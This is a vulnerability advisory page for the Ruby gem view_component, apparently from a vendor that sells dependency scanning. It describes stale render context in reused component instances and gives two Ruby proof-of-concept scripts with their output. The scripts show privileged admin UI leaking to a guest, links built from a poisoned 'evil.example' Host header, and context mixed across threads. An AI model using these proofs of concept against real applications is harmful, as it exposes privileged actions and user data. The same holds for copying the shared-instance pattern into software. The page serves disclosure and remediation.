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💎 RubyGems

GHSA-9h85-g7w3-rh49

MEDIUM

ViewComponent: Reused Component Instances Retain Stale Render Context

Also known asCVE-2026-54497
Published
Jul 15, 2026
Updated
Jul 15, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk9th percentile0.00%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
💎view_component

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Reused Component Instances Retain Stale Render Context

Summary

ViewComponent::Base instances retain multiple render-scoped objects across calls to render_in. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale helpers, controller, request, view_flow, format/variant details, and slot child context from an earlier render.

This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering.

Severity

The PoC demonstrates cross-user authorization impact in a realistic downstream application pattern. If the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned:

Alternative CVSS: 8.2 Alternative vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Affected Code

Validated against:

  • Repository commit: eea79445
  • Ruby: 3.4.9

Relevant locations:

  • lib/view_component/base.rb
    • render_in
    • controller
    • helpers
    • __vc_request
  • lib/view_component/slot.rb
    • Slot#to_s
  • lib/view_component/slotable.rb
    • slot storage in @__vc_set_slots
  • lib/view_component/collection.rb
    • child component memoization and spacer rendering

Key retained state:

@view_context = view_context
self.__vc_original_view_context ||= view_context
@lookup_context ||= view_context.lookup_context
@view_flow ||= view_context.view_flow
@__vc_requested_details ||= @lookup_context.vc_requested_details
@__vc_controller ||= view_context.controller
@__vc_helpers ||= __vc_original_view_context || controller.view_context
@__vc_request ||= controller.request if controller.respond_to?(:request)

Slot children also inherit the parent original view context:

@__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context

Collections memoize child component instances:

return @components if defined? @components

Root Cause

Component instances are mutable render objects. render_in updates some per-render fields, but many request-scoped values are memoized using ||= or stored for later slot/collection rendering.

There is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render.

Maintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant.

Proof of Concept

The following PoC demonstrates four independent effects:

  • stale authorization gate
  • stale Host/request data in generated absolute URLs
  • stale slot child context
  • cross-thread context mixing

Run from the repository root:

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class ReusePocController < ActionController::Base
  helper_method :current_user, :admin?
  attr_accessor :current_user, :role
  def admin? = role == :admin
end

routes = ActionDispatch::Routing::RouteSet.new
routes.draw { get "/accounts/:id", to: "accounts#show" }
ReusePocController.include routes.url_helpers

class AdminPanelComponent < ViewComponent::Base
  def render? = helpers.admin?

  def call
    href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false)
    "ADMIN user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe
  end
end

class UrlOnlyComponent < ViewComponent::Base
  def call
    href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false)
    "user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe
  end
end

class SlotChildComponent < ViewComponent::Base
  def call = "child_user=#{helpers.current_user};child_path=#{request.path}".html_safe
end

class SlotParentComponent < ViewComponent::Base
  renders_one :child, SlotChildComponent
  def call = "parent_user=#{helpers.current_user};parent_path=#{request.path};".html_safe + child.to_s
end

class RaceComponent < ViewComponent::Base
  def before_render = sleep 0.05
  def call = "#{helpers.current_user}@#{request.path}".html_safe
end

def vc(user:, role:, path:, host: "app.example")
  c = ReusePocController.new
  c.current_user = user
  c.role = role
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host)))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

admin_vc = vc(user: "alice", role: :admin, path: "/admin", host: "admin.example")
guest_vc = vc(user: "bob", role: :guest, path: "/guest", host: "app.example")

panel = AdminPanelComponent.new
puts "auth_admin_first=#{panel.render_in(admin_vc)}"
puts "auth_guest_reused=#{panel.render_in(guest_vc)}"
puts "auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}"

url = UrlOnlyComponent.new
puts "host_attacker_prime=#{url.render_in(vc(user: "attacker", role: :guest, path: "/prime", host: "evil.example"))}"
puts "host_victim_reused=#{url.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}"
puts "host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}"

parent = SlotParentComponent.new
puts "slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}"
puts "slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}"
puts "slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}"

race = RaceComponent.new
q = Queue.new
t1 = Thread.new { q << [:admin, race.render_in(vc(user: "admin", role: :admin, path: "/admin"))] }
t2 = Thread.new { q << [:guest, race.render_in(vc(user: "guest", role: :guest, path: "/guest"))] }
t1.join
t2.join
results = 2.times.map { q.pop }.to_h
puts "race_admin_thread=#{results[:admin]}"
puts "race_guest_thread=#{results[:guest]}"

Observed output:

auth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42
auth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42
auth_guest_fresh=""

host_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42
host_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42
host_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42

slot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin
slot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest
slot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest

race_admin_thread=admin@/guest
race_guest_thread=admin@/guest

Authorization-Impact PoC

The following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object.

The component uses render? as an authorization-aware visibility gate and emits a representative privileged action link.

$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

module SharedComponentRegistry
  def self.admin_toolbar
    @admin_toolbar ||= AdminToolbarComponent.new
  end

  def self.reset!
    remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar)
  end
end

User = Struct.new(:id, :role, keyword_init: true) do
  def admin? = role == :admin
end

class AppController < ActionController::Base
  helper_method :current_user, :admin?
  attr_accessor :current_user

  def admin?
    current_user&.admin?
  end
end

routes = ActionDispatch::Routing::RouteSet.new
routes.draw do
  get "/admin/users/:id/impersonate", to: "admin/users#impersonate", as: :impersonate_admin_user
end
AppController.include routes.url_helpers

class AdminToolbarComponent < ViewComponent::Base
  def render?
    helpers.admin?
  end

  def call
    helpers.link_to(
      "Impersonate user 42",
      helpers.impersonate_admin_user_url(42, host: request.host),
      data: { turbo_method: :post }
    )
  end
end

class DashboardController < AppController
  def render_dashboard_with_shared_component
    render_to_string(inline: '<main><h1>Dashboard</h1><%= render SharedComponentRegistry.admin_toolbar %></main>')
  end

  def render_dashboard_with_fresh_component
    render_to_string(inline: '<main><h1>Dashboard</h1><%= render AdminToolbarComponent.new %></main>')
  end
end

def controller_for(user:, host:, path: "/dashboard")
  c = DashboardController.new
  c.current_user = user
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host)))
  c.set_response!(ActionDispatch::Response.new)
  c
end

SharedComponentRegistry.reset!
admin = User.new(id: 1, role: :admin)
guest = User.new(id: 2, role: :guest)

admin_response = controller_for(user: admin, host: "admin.example").render_dashboard_with_shared_component
guest_reused_response = controller_for(user: guest, host: "app.example").render_dashboard_with_shared_component
guest_fresh_response = controller_for(user: guest, host: "app.example").render_dashboard_with_fresh_component

puts "admin_shared_contains_admin_link=#{admin_response.include?('/admin/users/42/impersonate')}"
puts "guest_reused_contains_admin_link=#{guest_reused_response.include?('/admin/users/42/impersonate')}"
puts "guest_fresh_contains_admin_link=#{guest_fresh_response.include?('/admin/users/42/impersonate')}"
puts "guest_reused_contains_admin_host=#{guest_reused_response.include?('http://admin.example/admin/users/42/impersonate')}"
puts "guest_reused_response=#{guest_reused_response.gsub(/\s+/, ' ').strip}"
puts "guest_fresh_response=#{guest_fresh_response.gsub(/\s+/, ' ').strip.inspect}"

Observed output:

admin_shared_contains_admin_link=true
guest_reused_contains_admin_link=true
guest_fresh_contains_admin_link=false
guest_reused_contains_admin_host=true
guest_reused_response=<main><h1>Dashboard</h1><a data-turbo-method="post" href="http://admin.example/admin/users/42/impersonate">Impersonate user 42</a></main>
guest_fresh_response="<main><h1>Dashboard</h1></main>"

This confirms a cross-user authorization impact in a realistic pattern: a guest receives privileged UI that a fresh component correctly suppresses. It also confirms stale request and Host context in the generated privileged URL.

Exploit Scenario

A downstream app stores component instances in a constant, singleton service, memoized helper, cache object, or shared collection builder to avoid allocation. An attacker or lower-privileged user later triggers rendering of that same object.

Potential real-world examples:

  • A navigation/sidebar component checks helpers.admin? in render?.
  • A tenant switcher uses request.host or current_user.account.
  • A component emits absolute URLs or signed action links.
  • A table uses slot child components that rely on helper/request state.
  • A global UI registry stores instantiated spacer or child components.

In these cases, a component first rendered under an admin or attacker-controlled request can affect later renders for other users.

Impact

Confirmed impact classes:

  • stale privileged UI rendering
  • stale user identity through helpers
  • stale Host/request data in generated absolute URLs
  • slot child context inheritance
  • cross-thread context corruption
  • stale format/variant template selection
  • stale view_flow / content_for writes
  • collection and spacer component context leakage

This can chain into privilege escalation if an application relies on UI visibility as an authorization boundary. It can also leak signed links, tenant-specific URLs, admin actions, or user-specific data.

Preconditions

  • The same component, collection, slot, or spacer component instance is reused across render contexts.
  • The component reads request-scoped or user-scoped APIs such as helpers, controller, request, URL helpers, render?, before_render, slots, variants, formats, or content_for.
  • Higher impact when the shared object crosses users, tenants, roles, or threads.

Normal per-request usage such as render(MyComponent.new(...)) is not affected.

Chaining Potential

This issue can chain with:

  • UI-only authorization checks
  • signed admin links embedded in components
  • Host header poisoning
  • multi-tenant routing based on host/subdomain
  • shared component registries
  • fragment/component caching patterns that cache objects rather than rendered strings
  • concurrent Rails servers such as Puma

The framework alone does not directly prove account takeover, but downstream applications can reach high impact if stale component output exposes privileged action links or bypasses server-side authorization assumptions.

Remediation

The safest fix is to make component and collection instances one-shot renderables.

Recommended options:

  1. Add a runtime guard in render_in that raises or warns when the same component instance is rendered again with a different view_context.
  2. Reset render-scoped ivars at the beginning of every render, including:
    • __vc_original_view_context
    • @lookup_context
    • @view_flow
    • @__vc_requested_details
    • @__vc_controller
    • @__vc_helpers
    • @__vc_request
  3. Rebuild ViewComponent::Collection child component instances per render or document/enforce collections as one-shot.
  4. Avoid accepting a reusable instantiated spacer_component, or reset/clone it before rendering.
  5. Add thread-safety tests for concurrent rendering of a shared instance.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemsview_component4.0.0&&< 4.12.04.12.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for view_component. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update view_component to 4.12.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9h85-g7w3-rh49 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-9h85-g7w3-rh49 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9h85-g7w3-rh49. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Reused Component Instances Retain Stale Render Context ## Summary `ViewComponent::Base` instances retain multiple render-scoped objects across calls to `render_in`. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale `helpers`, `controller`, `request`, `view_flow`, format/variant details, and slot child context from an earlier render. This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state
O3 Security · Impact-Aware SCA

Is GHSA-9h85-g7w3-rh49 in your dependencies?

O3 detects GHSA-9h85-g7w3-rh49 across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.